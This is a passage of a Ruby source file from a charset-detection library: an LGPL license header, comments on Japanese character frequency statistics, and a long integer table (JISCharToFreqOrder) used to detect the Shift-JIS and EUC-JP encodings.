Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Jeff Hodges - port to Ruby +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +# Sampling from about 20M text materials include literature and computer technology +# +# Japanese frequency table, applied to both S-JIS and EUC-JP +# They are sorted in order. + +# 128 --> 0.77094 +# 256 --> 0.85710 +# 512 --> 0.92635 +# 1024 --> 0.97130 +# 2048 --> 0.99431 +# +# Ideal Distribution Ratio = 0.92635 / (1-0.92635) = 12.58 +# Random Distribution Ration = 512 / (2965+62+83+86-512) = 0.191 +# +# Typical Distribution Ratio, 25% of IDR + +module CharDet +JIS_TYPICAL_DISTRIBUTION_RATIO = 3.0 + +# Char to FreqOrder table , +JIS_TABLE_SIZE = 4368 + +JISCharToFreqOrder = [ + 40, 1, 6, 182, 152, 180, 295,2127, 285, 381,3295,4304,3068,4606,3165,3510, # 16 +3511,1822,2785,4607,1193,2226,5070,4608, 171,2996,1247, 18, 179,5071, 856,1661, # 32 +1262,5072, 619, 127,3431,3512,3230,1899,1700, 232, 228,1294,1298, 284, 283,2041, # 48 +2042,1061,1062, 48, 49, 44, 45, 433, 434,1040,1041, 996, 787,2997,1255,4305, # 64 +2108,4609,1684,1648,5073,5074,5075,5076,5077,5078,3687,5079,4610,5080,3927,3928, # 80 +5081,3296,3432, 290,2285,1471,2187,5082,2580,2825,1303,2140,1739,1445,2691,3375, # 96 +1691,3297,4306,4307,4611, 452,3376,1182,2713,3688,3069,4308,5083,5084,5085,5086, # 112 +5087,5088,5089,5090,5091,5092,5093,5094,5095,5096,5097,5098,5099,5100,5101,5102, # 128 +5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,4097,5113,5114,5115,5116,5117, # 144 +5118,5119,5120,5121,5122,5123,5124,5125,5126,5127,5128,5129,5130,5131,5132,5133, # 160 +5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146,5147,5148,5149, # 176 +5150,5151,5152,4612,5153,5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164, # 192 +5165,5166,5167,5168,5169,5170,5171,5172,5173,5174,5175,1472, 598, 618, 820,1205, # 208 +1309,1412,1858,1307,1692,5176,5177,5178,5179,5180,5181,5182,1142,1452,1234,1172, # 224 +1875,2043,2149,1793,1382,2973, 925,2404,1067,1241, 960,1377,2935,1491, 919,1217, # 240 +1865,2030,1406,1499,2749,4098,5183,5184,5185,5186,5187,5188,2561,4099,3117,1804, # 256 +2049,3689,4309,3513,1663,5189,3166,3118,3298,1587,1561,3433,5190,3119,1625,2998, # 272 +3299,4613,1766,3690,2786,4614,5191,5192,5193,5194,2161, 26,3377, 2,3929, 20, # 288 +3691, 47,4100, 50, 17, 16, 35, 268, 27, 243, 42, 155, 24, 154, 29, 184, # 304 + 4, 91, 14, 92, 53, 396, 33, 289, 9, 37, 64, 620, 21, 39, 321, 5, # 320 + 12, 11, 52, 13, 3, 208, 138, 0, 7, 60, 526, 141, 151,1069, 181, 275, # 336 +1591, 83, 132,1475, 126, 331, 829, 15, 69, 160, 59, 22, 157, 55,1079, 312, # 352 + 109, 38, 23, 25, 10, 19, 79,5195, 61, 382,1124, 8, 30,5196,5197,5198, # 368 +5199,5200,5201,5202,5203,5204,5205,5206, 89, 62, 74, 34,2416, 112, 139, 196, # 384 + 271, 149, 84, 607, 131, 765, 46, 88, 153, 683, 76, 874, 101, 258, 57, 80, # 400 + 32, 364, 121,1508, 169,1547, 68, 235, 145,2999, 41, 360,3027, 70, 63, 31, # 416 + 43, 259, 262,1383, 99, 533, 194, 66, 93, 846, 217, 192, 56, 106, 58, 565, # 432 + 280, 272, 311, 256, 146, 82, 308, 71, 100, 128, 214, 655, 110, 261, 104,1140, # 448 + 54, 51, 36, 87, 67,3070, 185,2618,2936,2020, 28,1066,2390,2059,5207,5208, # 464 +5209,5210,5211,5212,5213,5214,5215,5216,4615,5217,5218,5219,5220,5221,5222,5223, # 480 +5224,5225,5226,5227,5228,5229,5230,5231,5232,5233,5234,5235,5236,3514,5237,5238, # 496 +5239,5240,5241,5242,5243,5244,2297,2031,4616,4310,3692,5245,3071,5246,3598,5247, # 512 +4617,3231,3515,5248,4101,4311,4618,3808,4312,4102,5249,4103,4104,3599,5250,5251, # 528 +5252,5253,5254,5255,5256,5257,5258,5259,5260,5261,5262,5263,5264,5265,5266,5267, # 544 +5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283, # 560 +5284,5285,5286,5287,5288,5289,5290,5291,5292,5293,5294,5295,5296,5297,5298,5299, # 576 +5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314,5315, # 592 +5316,5317,5318,5319,5320,5321,5322,5323,5324,5325,5326,5327,5328,5329,5330,5331, # 608 +5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343,5344,5345,5346,5347, # 624 +5348,5349,5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363, # 640 +5364,5365,5366,5367,5368,5369,5370,5371,5372,5373,5374,5375,5376,5377,5378,5379, # 656 +5380,5381, 363, 642,2787,2878,2788,2789,2316,3232,2317,3434,2011, 165,1942,3930, # 672 +3931,3932,3933,5382,4619,5383,4620,5384,5385,5386,5387,5388,5389,5390,5391,5392, # 688 +5393,5394,5395,5396,5397,5398,5399,5400,5401,5402,5403,5404,5405,5406,5407,5408, # 704 +5409,5410,5411,5412,5413,5414,5415,5416,5417,5418,5419,5420,5421,5422,5423,5424, # 720 +5425,5426,5427,5428,5429,5430,5431,5432,5433,5434,5435,5436,5437,5438,5439,5440, # 736 +5441,5442,5443,5444,5445,5446,5447,5448,5449,5450,5451,5452,5453,5454,5455,5456, # 752 +5457,5458,5459,5460,5461,5462,5463,5464,5465,5466,5467,5468,5469,5470,5471,5472, # 768 +5473,5474,5475,5476,5477,5478,5479,5480,5481,5482,5483,5484,5485,5486,5487,5488, # 784 +5489,5490,5491,5492,5493,5494,5495,5496,5497,5498,5499,5500,5501,5502,5503,5504, # 800 +5505,5506,5507,5508,5509,5510,5511,5512,5513,5514,5515,5516,5517,5518,5519,5520, # 816 +5521,5522,5523,5524,5525,5526,5527,5528,5529,5530,5531,5532,5533,5534,5535,5536, # 832 +5537,5538,5539,5540,5541,5542,5543,5544,5545,5546,5547,5548,5549,5550,5551,5552, # 848 +5553,5554,5555,5556,5557,5558,5559,5560,5561,5562,5563,5564,5565,5566,5567,5568, # 864 +5569,5570,5571,5572,5573,5574,5575,5576,5577,5578,5579,5580,5581,5582,5583,5584, # 880 +5585,5586,5587,5588,5589,5590,5591,5592,5593,5594,5595,5596,5597,5598,5599,5600, # 896 +5601,5602,5603,5604,5605,5606,5607,5608,5609,5610,5611,5612,5613,5614,5615,5616, # 912 +5617,5618,5619,5620,5621,5622,5623,5624,5625,5626,5627,5628,5629,5630,5631,5632, # 928 +5633,5634,5635,5636,5637,5638,5639,5640,5641,5642,5643,5644,5645,5646,5647,5648, # 944 +5649,5650,5651,5652,5653,5654,5655,5656,5657,5658,5659,5660,5661,5662,5663,5664, # 960 +5665,5666,5667,5668,5669,5670,5671,5672,5673,5674,5675,5676,5677,5678,5679,5680, # 976 +5681,5682,5683,5684,5685,5686,5687,5688,5689,5690,5691,5692,5693,5694,5695,5696, # 992 +5697,5698,5699,5700,5701,5702,5703,5704,5705,5706,5707,5708,5709,5710,5711,5712, # 1008 +5713,5714,5715,5716,5717,5718,5719,5720,5721,5722,5723,5724,5725,5726,5727,5728, # 1024 +5729,5730,5731,5732,5733,5734,5735,5736,5737,5738,5739,5740,5741,5742,5743,5744, # 1040 +5745,5746,5747,5748,5749,5750,5751,5752,5753,5754,5755,5756,5757,5758,5759,5760, # 1056 +5761,5762,5763,5764,5765,5766,5767,5768,5769,5770,5771,5772,5773,5774,5775,5776, # 1072 +5777,5778,5779,5780,5781,5782,5783,5784,5785,5786,5787,5788,5789,5790,5791,5792, # 1088 +5793,5794,5795,5796,5797,5798,5799,5800,5801,5802,5803,5804,5805,5806,5807,5808, # 1104 +5809,5810,5811,5812,5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824, # 1120 +5825,5826,5827,5828,5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840, # 1136 +5841,5842,5843,5844,5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856, # 1152 +5857,5858,5859,5860,5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872, # 1168 +5873,5874,5875,5876,5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888, # 1184 +5889,5890,5891,5892,5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904, # 1200 +5905,5906,5907,5908,5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920, # 1216 +5921,5922,5923,5924,5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936, # 1232 +5937,5938,5939,5940,5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952, # 1248 +5953,5954,5955,5956,5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968, # 1264 +5969,5970,5971,5972,5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984, # 1280 +5985,5986,5987,5988,5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000, # 1296 +6001,6002,6003,6004,6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016, # 1312 +6017,6018,6019,6020,6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032, # 1328 +6033,6034,6035,6036,6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048, # 1344 +6049,6050,6051,6052,6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064, # 1360 +6065,6066,6067,6068,6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080, # 1376 +6081,6082,6083,6084,6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096, # 1392 +6097,6098,6099,6100,6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112, # 1408 +6113,6114,2044,2060,4621, 997,1235, 473,1186,4622, 920,3378,6115,6116, 379,1108, # 1424 +4313,2657,2735,3934,6117,3809, 636,3233, 573,1026,3693,3435,2974,3300,2298,4105, # 1440 + 854,2937,2463, 393,2581,2417, 539, 752,1280,2750,2480, 140,1161, 440, 708,1569, # 1456 + 665,2497,1746,1291,1523,3000, 164,1603, 847,1331, 537,1997, 486, 508,1693,2418, # 1472 +1970,2227, 878,1220, 299,1030, 969, 652,2751, 624,1137,3301,2619, 65,3302,2045, # 1488 +1761,1859,3120,1930,3694,3516, 663,1767, 852, 835,3695, 269, 767,2826,2339,1305, # 1504 + 896,1150, 770,1616,6118, 506,1502,2075,1012,2519, 775,2520,2975,2340,2938,4314, # 1520 +3028,2086,1224,1943,2286,6119,3072,4315,2240,1273,1987,3935,1557, 175, 597, 985, # 1536 +3517,2419,2521,1416,3029, 585, 938,1931,1007,1052,1932,1685,6120,3379,4316,4623, # 1552 + 804, 599,3121,1333,2128,2539,1159,1554,2032,3810, 687,2033,2904, 952, 675,1467, # 1568 +3436,6121,2241,1096,1786,2440,1543,1924, 980,1813,2228, 781,2692,1879, 728,1918, # 1584 +3696,4624, 548,1950,4625,1809,1088,1356,3303,2522,1944, 502, 972, 373, 513,2827, # 1600 + 586,2377,2391,1003,1976,1631,6122,2464,1084, 648,1776,4626,2141, 324, 962,2012, # 1616 +2177,2076,1384, 742,2178,1448,1173,1810, 222, 102, 301, 445, 125,2420, 662,2498, # 1632 + 277, 200,1476,1165,1068, 224,2562,1378,1446, 450,1880, 659, 791, 582,4627,2939, # 1648 +3936,1516,1274, 555,2099,3697,1020,1389,1526,3380,1762,1723,1787,2229, 412,2114, # 1664 +1900,2392,3518, 512,2597, 427,1925,2341,3122,1653,1686,2465,2499, 697, 330, 273, # 1680 + 380,2162, 951, 832, 780, 991,1301,3073, 965,2270,3519, 668,2523,2636,1286, 535, # 1696 +1407, 518, 671, 957,2658,2378, 267, 611,2197,3030,6123, 248,2299, 967,1799,2356, # 1712 + 850,1418,3437,1876,1256,1480,2828,1718,6124,6125,1755,1664,2405,6126,4628,2879, # 1728 +2829, 499,2179, 676,4629, 557,2329,2214,2090, 325,3234, 464, 811,3001, 992,2342, # 1744 +2481,1232,1469, 303,2242, 466,1070,2163, 603,1777,2091,4630,2752,4631,2714, 322, # 1760 +2659,1964,1768, 481,2188,1463,2330,2857,3600,2092,3031,2421,4632,2318,2070,1849, # 1776 +2598,4633,1302,2254,1668,1701,2422,3811,2905,3032,3123,2046,4106,1763,1694,4634, # 1792 +1604, 943,1724,1454, 917, 868,2215,1169,2940, 552,1145,1800,1228,1823,1955, 316, # 1808 +1080,2510, 361,1807,2830,4107,2660,3381,1346,1423,1134,4108,6127, 541,1263,1229, # 1824 +1148,2540, 545, 465,1833,2880,3438,1901,3074,2482, 816,3937, 713,1788,2500, 122, # 1840 +1575, 195,1451,2501,1111,6128, 859, 374,1225,2243,2483,4317, 390,1033,3439,3075, # 1856 +2524,1687, 266, 793,1440,2599, 946, 779, 802, 507, 897,1081, 528,2189,1292, 711, # 1872 +1866,1725,1167,1640, 753, 398,2661,1053, 246, 348,4318, 137,1024,3440,1600,2077, # 1888 +2129, 825,4319, 698, 238, 521, 187,2300,1157,2423,1641,1605,1464,1610,1097,2541, # 1904 +1260,1436, 759,2255,1814,2150, 705,3235, 409,2563,3304, 561,3033,2005,2564, 726, # 1920 +1956,2343,3698,4109, 949,3812,3813,3520,1669, 653,1379,2525, 881,2198, 632,2256, # 1936 +1027, 778,1074, 733,1957, 514,1481,2466, 554,2180, 702,3938,1606,1017,1398,6129, # 1952 +1380,3521, 921, 993,1313, 594, 449,1489,1617,1166, 768,1426,1360, 495,1794,3601, # 1968 +1177,3602,1170,4320,2344, 476, 425,3167,4635,3168,1424, 401,2662,1171,3382,1998, # 1984 +1089,4110, 477,3169, 474,6130,1909, 596,2831,1842, 494, 693,1051,1028,1207,3076, # 2000 + 606,2115, 727,2790,1473,1115, 743,3522, 630, 805,1532,4321,2021, 366,1057, 838, # 2016 + 684,1114,2142,4322,2050,1492,1892,1808,2271,3814,2424,1971,1447,1373,3305,1090, # 2032 +1536,3939,3523,3306,1455,2199, 336, 369,2331,1035, 584,2393, 902, 718,2600,6131, # 2048 +2753, 463,2151,1149,1611,2467, 715,1308,3124,1268, 343,1413,3236,1517,1347,2663, # 2064 +2093,3940,2022,1131,1553,2100,2941,1427,3441,2942,1323,2484,6132,1980, 872,2368, # 2080 +2441,2943, 320,2369,2116,1082, 679,1933,3941,2791,3815, 625,1143,2023, 422,2200, # 2096 +3816,6133, 730,1695, 356,2257,1626,2301,2858,2637,1627,1778, 937, 883,2906,2693, # 2112 +3002,1769,1086, 400,1063,1325,3307,2792,4111,3077, 456,2345,1046, 747,6134,1524, # 2128 + 884,1094,3383,1474,2164,1059, 974,1688,2181,2258,1047, 345,1665,1187, 358, 875, # 2144 +3170, 305, 660,3524,2190,1334,1135,3171,1540,1649,2542,1527, 927, 968,2793, 885, # 2160 +1972,1850, 482, 500,2638,1218,1109,1085,2543,1654,2034, 876, 78,2287,1482,1277, # 2176 + 861,1675,1083,1779, 724,2754, 454, 397,1132,1612,2332, 893, 672,1237, 257,2259, # 2192 +2370, 135,3384, 337,2244, 547, 352, 340, 709,2485,1400, 788,1138,2511, 540, 772, # 2208 +1682,2260,2272,2544,2013,1843,1902,4636,1999,1562,2288,4637,2201,1403,1533, 407, # 2224 + 576,3308,1254,2071, 978,3385, 170, 136,1201,3125,2664,3172,2394, 213, 912, 873, # 2240 +3603,1713,2202, 699,3604,3699, 813,3442, 493, 531,1054, 468,2907,1483, 304, 281, # 2256 +4112,1726,1252,2094, 339,2319,2130,2639, 756,1563,2944, 748, 571,2976,1588,2425, # 2272 +2715,1851,1460,2426,1528,1392,1973,3237, 288,3309, 685,3386, 296, 892,2716,2216, # 2288 +1570,2245, 722,1747,2217, 905,3238,1103,6135,1893,1441,1965, 251,1805,2371,3700, # 2304 +2601,1919,1078, 75,2182,1509,1592,1270,2640,4638,2152,6136,3310,3817, 524, 706, # 2320 +1075, 292,3818,1756,2602, 317, 98,3173,3605,3525,1844,2218,3819,2502, 814, 567, # 2336 + 385,2908,1534,6137, 534,1642,3239, 797,6138,1670,1529, 953,4323, 188,1071, 538, # 2352 + 178, 729,3240,2109,1226,1374,2000,2357,2977, 731,2468,1116,2014,2051,6139,1261, # 2368 +1593, 803,2859,2736,3443, 556, 682, 823,1541,6140,1369,2289,1706,2794, 845, 462, # 2384 +2603,2665,1361, 387, 162,2358,1740, 739,1770,1720,1304,1401,3241,1049, 627,1571, # 2400 +2427,3526,1877,3942,1852,1500, 431,1910,1503, 677, 297,2795, 286,1433,1038,1198, # 2416 +2290,1133,1596,4113,4639,2469,1510,1484,3943,6141,2442, 108, 712,4640,2372, 866, # 2432 +3701,2755,3242,1348, 834,1945,1408,3527,2395,3243,1811, 824, 994,1179,2110,1548, # 2448 +1453, 790,3003, 690,4324,4325,2832,2909,3820,1860,3821, 225,1748, 310, 346,1780, # 2464 +2470, 821,1993,2717,2796, 828, 877,3528,2860,2471,1702,2165,2910,2486,1789, 453, # 2480 + 359,2291,1676, 73,1164,1461,1127,3311, 421, 604, 314,1037, 589, 116,2487, 737, # 2496 + 837,1180, 111, 244, 735,6142,2261,1861,1362, 986, 523, 418, 581,2666,3822, 103, # 2512 + 855, 503,1414,1867,2488,1091, 657,1597, 979, 605,1316,4641,1021,2443,2078,2001, # 2528 +1209, 96, 587,2166,1032, 260,1072,2153, 173, 94, 226,3244, 819,2006,4642,4114, # 2544 +2203, 231,1744, 782, 97,2667, 786,3387, 887, 391, 442,2219,4326,1425,6143,2694, # 2560 + 633,1544,1202, 483,2015, 592,2052,1958,2472,1655, 419, 129,4327,3444,3312,1714, # 2576 +1257,3078,4328,1518,1098, 865,1310,1019,1885,1512,1734, 469,2444, 148, 773, 436, # 2592 +1815,1868,1128,1055,4329,1245,2756,3445,2154,1934,1039,4643, 579,1238, 932,2320, # 2608 + 353, 205, 801, 115,2428, 944,2321,1881, 399,2565,1211, 678, 766,3944, 335,2101, # 2624 +1459,1781,1402,3945,2737,2131,1010, 844, 981,1326,1013, 550,1816,1545,2620,1335, # 2640 +1008, 371,2881, 936,1419,1613,3529,1456,1395,2273,1834,2604,1317,2738,2503, 416, # 2656 +1643,4330, 806,1126, 229, 591,3946,1314,1981,1576,1837,1666, 347,1790, 977,3313, # 2672 + 764,2861,1853, 688,2429,1920,1462, 77, 595, 415,2002,3034, 798,1192,4115,6144, # 2688 +2978,4331,3035,2695,2582,2072,2566, 430,2430,1727, 842,1396,3947,3702, 613, 377, # 2704 + 278, 236,1417,3388,3314,3174, 757,1869, 107,3530,6145,1194, 623,2262, 207,1253, # 2720 +2167,3446,3948, 492,1117,1935, 536,1838,2757,1246,4332, 696,2095,2406,1393,1572, # 2736 +3175,1782, 583, 190, 253,1390,2230, 830,3126,3389, 934,3245,1703,1749,2979,1870, # 2752 +2545,1656,2204, 869,2346,4116,3176,1817, 496,1764,4644, 942,1504, 404,1903,1122, # 2768 +1580,3606,2945,1022, 515, 372,1735, 955,2431,3036,6146,2797,1110,2302,2798, 617, # 2784 +6147, 441, 762,1771,3447,3607,3608,1904, 840,3037, 86, 939,1385, 572,1370,2445, # 2800 +1336, 114,3703, 898, 294, 203,3315, 703,1583,2274, 429, 961,4333,1854,1951,3390, # 2816 +2373,3704,4334,1318,1381, 966,1911,2322,1006,1155, 309, 989, 458,2718,1795,1372, # 2832 +1203, 252,1689,1363,3177, 517,1936, 168,1490, 562, 193,3823,1042,4117,1835, 551, # 2848 + 470,4645, 395, 489,3448,1871,1465,2583,2641, 417,1493, 279,1295, 511,1236,1119, # 2864 + 72,1231,1982,1812,3004, 871,1564, 984,3449,1667,2696,2096,4646,2347,2833,1673, # 2880 +3609, 695,3246,2668, 807,1183,4647, 890, 388,2333,1801,1457,2911,1765,1477,1031, # 2896 +3316,3317,1278,3391,2799,2292,2526, 163,3450,4335,2669,1404,1802,6148,2323,2407, # 2912 +1584,1728,1494,1824,1269, 298, 909,3318,1034,1632, 375, 776,1683,2061, 291, 210, # 2928 +1123, 809,1249,1002,2642,3038, 206,1011,2132, 144, 975, 882,1565, 342, 667, 754, # 2944 +1442,2143,1299,2303,2062, 447, 626,2205,1221,2739,2912,1144,1214,2206,2584, 760, # 2960 +1715, 614, 950,1281,2670,2621, 810, 577,1287,2546,4648, 242,2168, 250,2643, 691, # 2976 + 123,2644, 647, 313,1029, 689,1357,2946,1650, 216, 771,1339,1306, 808,2063, 549, # 2992 + 913,1371,2913,2914,6149,1466,1092,1174,1196,1311,2605,2396,1783,1796,3079, 406, # 3008 +2671,2117,3949,4649, 487,1825,2220,6150,2915, 448,2348,1073,6151,2397,1707, 130, # 3024 + 900,1598, 329, 176,1959,2527,1620,6152,2275,4336,3319,1983,2191,3705,3610,2155, # 3040 +3706,1912,1513,1614,6153,1988, 646, 392,2304,1589,3320,3039,1826,1239,1352,1340, # 3056 +2916, 505,2567,1709,1437,2408,2547, 906,6154,2672, 384,1458,1594,1100,1329, 710, # 3072 + 423,3531,2064,2231,2622,1989,2673,1087,1882, 333, 841,3005,1296,2882,2379, 580, # 3088 +1937,1827,1293,2585, 601, 574, 249,1772,4118,2079,1120, 645, 901,1176,1690, 795, # 3104 +2207, 478,1434, 516,1190,1530, 761,2080, 930,1264, 355, 435,1552, 644,1791, 987, # 3120 + 220,1364,1163,1121,1538, 306,2169,1327,1222, 546,2645, 218, 241, 610,1704,3321, # 3136 +1984,1839,1966,2528, 451,6155,2586,3707,2568, 907,3178, 254,2947, 186,1845,4650, # 3152 + 745, 432,1757, 428,1633, 888,2246,2221,2489,3611,2118,1258,1265, 956,3127,1784, # 3168 +4337,2490, 319, 510, 119, 457,3612, 274,2035,2007,4651,1409,3128, 970,2758, 590, # 3184 +2800, 661,2247,4652,2008,3950,1420,1549,3080,3322,3951,1651,1375,2111, 485,2491, # 3200 +1429,1156,6156,2548,2183,1495, 831,1840,2529,2446, 501,1657, 307,1894,3247,1341, # 3216 + 666, 899,2156,1539,2549,1559, 886, 349,2208,3081,2305,1736,3824,2170,2759,1014, # 3232 +1913,1386, 542,1397,2948, 490, 368, 716, 362, 159, 282,2569,1129,1658,1288,1750, # 3248 +2674, 276, 649,2016, 751,1496, 658,1818,1284,1862,2209,2087,2512,3451, 622,2834, # 3264 + 376, 117,1060,2053,1208,1721,1101,1443, 247,1250,3179,1792,3952,2760,2398,3953, # 3280 +6157,2144,3708, 446,2432,1151,2570,3452,2447,2761,2835,1210,2448,3082, 424,2222, # 3296 +1251,2449,2119,2836, 504,1581,4338, 602, 817, 857,3825,2349,2306, 357,3826,1470, # 3312 +1883,2883, 255, 958, 929,2917,3248, 302,4653,1050,1271,1751,2307,1952,1430,2697, # 3328 +2719,2359, 354,3180, 777, 158,2036,4339,1659,4340,4654,2308,2949,2248,1146,2232, # 3344 +3532,2720,1696,2623,3827,6158,3129,1550,2698,1485,1297,1428, 637, 931,2721,2145, # 3360 + 914,2550,2587, 81,2450, 612, 827,2646,1242,4655,1118,2884, 472,1855,3181,3533, # 3376 +3534, 569,1353,2699,1244,1758,2588,4119,2009,2762,2171,3709,1312,1531,6159,1152, # 3392 +1938, 134,1830, 471,3710,2276,1112,1535,3323,3453,3535, 982,1337,2950, 488, 826, # 3408 + 674,1058,1628,4120,2017, 522,2399, 211, 568,1367,3454, 350, 293,1872,1139,3249, # 3424 +1399,1946,3006,1300,2360,3324, 588, 736,6160,2606, 744, 669,3536,3828,6161,1358, # 3440 + 199, 723, 848, 933, 851,1939,1505,1514,1338,1618,1831,4656,1634,3613, 443,2740, # 3456 +3829, 717,1947, 491,1914,6162,2551,1542,4121,1025,6163,1099,1223, 198,3040,2722, # 3472 + 370, 410,1905,2589, 998,1248,3182,2380, 519,1449,4122,1710, 947, 928,1153,4341, # 3488 +2277, 344,2624,1511, 615, 105, 161,1212,1076,1960,3130,2054,1926,1175,1906,2473, # 3504 + 414,1873,2801,6164,2309, 315,1319,3325, 318,2018,2146,2157, 963, 631, 223,4342, # 3520 +4343,2675, 479,3711,1197,2625,3712,2676,2361,6165,4344,4123,6166,2451,3183,1886, # 3536 +2184,1674,1330,1711,1635,1506, 799, 219,3250,3083,3954,1677,3713,3326,2081,3614, # 3552 +1652,2073,4657,1147,3041,1752, 643,1961, 147,1974,3955,6167,1716,2037, 918,3007, # 3568 +1994, 120,1537, 118, 609,3184,4345, 740,3455,1219, 332,1615,3830,6168,1621,2980, # 3584 +1582, 783, 212, 553,2350,3714,1349,2433,2082,4124, 889,6169,2310,1275,1410, 973, # 3600 + 166,1320,3456,1797,1215,3185,2885,1846,2590,2763,4658, 629, 822,3008, 763, 940, # 3616 +1990,2862, 439,2409,1566,1240,1622, 926,1282,1907,2764, 654,2210,1607, 327,1130, # 3632 +3956,1678,1623,6170,2434,2192, 686, 608,3831,3715, 903,3957,3042,6171,2741,1522, # 3648 +1915,1105,1555,2552,1359, 323,3251,4346,3457, 738,1354,2553,2311,2334,1828,2003, # 3664 +3832,1753,2351,1227,6172,1887,4125,1478,6173,2410,1874,1712,1847, 520,1204,2607, # 3680 + 264,4659, 836,2677,2102, 600,4660,3833,2278,3084,6174,4347,3615,1342, 640, 532, # 3696 + 543,2608,1888,2400,2591,1009,4348,1497, 341,1737,3616,2723,1394, 529,3252,1321, # 3712 + 983,4661,1515,2120, 971,2592, 924, 287,1662,3186,4349,2700,4350,1519, 908,1948, # 3728 +2452, 156, 796,1629,1486,2223,2055, 694,4126,1259,1036,3392,1213,2249,2742,1889, # 3744 +1230,3958,1015, 910, 408, 559,3617,4662, 746, 725, 935,4663,3959,3009,1289, 563, # 3760 + 867,4664,3960,1567,2981,2038,2626, 988,2263,2381,4351, 143,2374, 704,1895,6175, # 3776 +1188,3716,2088, 673,3085,2362,4352, 484,1608,1921,2765,2918, 215, 904,3618,3537, # 3792 + 894, 509, 976,3043,2701,3961,4353,2837,2982, 498,6176,6177,1102,3538,1332,3393, # 3808 +1487,1636,1637, 233, 245,3962, 383, 650, 995,3044, 460,1520,1206,2352, 749,3327, # 3824 + 530, 700, 389,1438,1560,1773,3963,2264, 719,2951,2724,3834, 870,1832,1644,1000, # 3840 + 839,2474,3717, 197,1630,3394, 365,2886,3964,1285,2133, 734, 922, 818,1106, 732, # 3856 + 480,2083,1774,3458, 923,2279,1350, 221,3086, 85,2233,2234,3835,1585,3010,2147, # 3872 +1387,1705,2382,1619,2475, 133, 239,2802,1991,1016,2084,2383, 411,2838,1113, 651, # 3888 +1985,1160,3328, 990,1863,3087,1048,1276,2647, 265,2627,1599,3253,2056, 150, 638, # 3904 +2019, 656, 853, 326,1479, 680,1439,4354,1001,1759, 413,3459,3395,2492,1431, 459, # 3920 +4355,1125,3329,2265,1953,1450,2065,2863, 849, 351,2678,3131,3254,3255,1104,1577, # 3936 + 227,1351,1645,2453,2193,1421,2887, 812,2121, 634, 95,2435, 201,2312,4665,1646, # 3952 +1671,2743,1601,2554,2702,2648,2280,1315,1366,2089,3132,1573,3718,3965,1729,1189, # 3968 + 328,2679,1077,1940,1136, 558,1283, 964,1195, 621,2074,1199,1743,3460,3619,1896, # 3984 +1916,1890,3836,2952,1154,2112,1064, 862, 378,3011,2066,2113,2803,1568,2839,6178, # 4000 +3088,2919,1941,1660,2004,1992,2194, 142, 707,1590,1708,1624,1922,1023,1836,1233, # 4016 +1004,2313, 789, 741,3620,6179,1609,2411,1200,4127,3719,3720,4666,2057,3721, 593, # 4032 +2840, 367,2920,1878,6180,3461,1521, 628,1168, 692,2211,2649, 300, 720,2067,2571, # 4048 +2953,3396, 959,2504,3966,3539,3462,1977, 701,6181, 954,1043, 800, 681, 183,3722, # 4064 +1803,1730,3540,4128,2103, 815,2314, 174, 467, 230,2454,1093,2134, 755,3541,3397, # 4080 +1141,1162,6182,1738,2039, 270,3256,2513,1005,1647,2185,3837, 858,1679,1897,1719, # 4096 +2954,2324,1806, 402, 670, 167,4129,1498,2158,2104, 750,6183, 915, 189,1680,1551, # 4112 + 455,4356,1501,2455, 405,1095,2955, 338,1586,1266,1819, 570, 641,1324, 237,1556, # 4128 +2650,1388,3723,6184,1368,2384,1343,1978,3089,2436, 879,3724, 792,1191, 758,3012, # 4144 +1411,2135,1322,4357, 240,4667,1848,3725,1574,6185, 420,3045,1546,1391, 714,4358, # 4160 +1967, 941,1864, 863, 664, 426, 560,1731,2680,1785,2864,1949,2363, 403,3330,1415, # 4176 +1279,2136,1697,2335, 204, 721,2097,3838, 90,6186,2085,2505, 191,3967, 124,2148, # 4192 +1376,1798,1178,1107,1898,1405, 860,4359,1243,1272,2375,2983,1558,2456,1638, 113, # 4208 +3621, 578,1923,2609, 880, 386,4130, 784,2186,2266,1422,2956,2172,1722, 497, 263, # 4224 +2514,1267,2412,2610, 177,2703,3542, 774,1927,1344, 616,1432,1595,1018, 172,4360, # 4240 +2325, 911,4361, 438,1468,3622, 794,3968,2024,2173,1681,1829,2957, 945, 895,3090, # 4256 + 575,2212,2476, 475,2401,2681, 